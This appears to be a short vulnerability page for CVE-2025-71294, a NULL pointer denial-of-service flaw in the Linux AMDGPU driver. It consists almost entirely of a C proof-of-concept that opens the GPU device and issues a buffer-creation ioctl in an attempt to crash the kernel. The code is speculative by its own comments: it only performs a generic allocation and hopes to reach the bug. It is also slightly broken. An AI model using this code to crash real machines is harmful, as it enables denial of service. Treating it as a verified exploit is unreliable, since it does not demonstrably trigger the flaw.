CVE-2025-71294 Linux内核AMDGPU驱动空指针拒绝服务漏洞

/* * PoC for CVE-2025-71294: AMDGPU NULL Pointer Dereference * This code attempts to trigger the crash by interacting with the amdgpu driver. * Compile: gcc -o poc_amdgpu poc_amdgpu.c -ldrm */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <libdrm/amdgpu.h> #include <libdrm/drm.h> int main() { int fd = -1; drmVersionPtr version; // Attempt to open the AMD GPU device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open /dev/dri/card0"); return 1; } version = drmGetVersion(fd); if (version) { printf("Driver: %s\n", version->name); if (strcmp(version->name, "amdgpu") == 0) { printf("Target driver detected.\n"); // Triggering the vulnerability requires specific internal states. // If SDMA is disabled, certain buffer operations may hit the NULL pointer. // Here we attempt a generic buffer operation which might traverse the vulnerable path. struct drm_amdgpu_gem_create create = {0}; create.bo_size = 4096; // This IOCTL might internally call buffer_funcs if SDMA is involved if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &create) != 0) { perror("Ioctl failed"); } else { printf("GEM created. If SDMA is disabled and kernel is vulnerable, crash may occur on usage.\n"); } } drmFreeVersion(version); } close(fd); return 0; }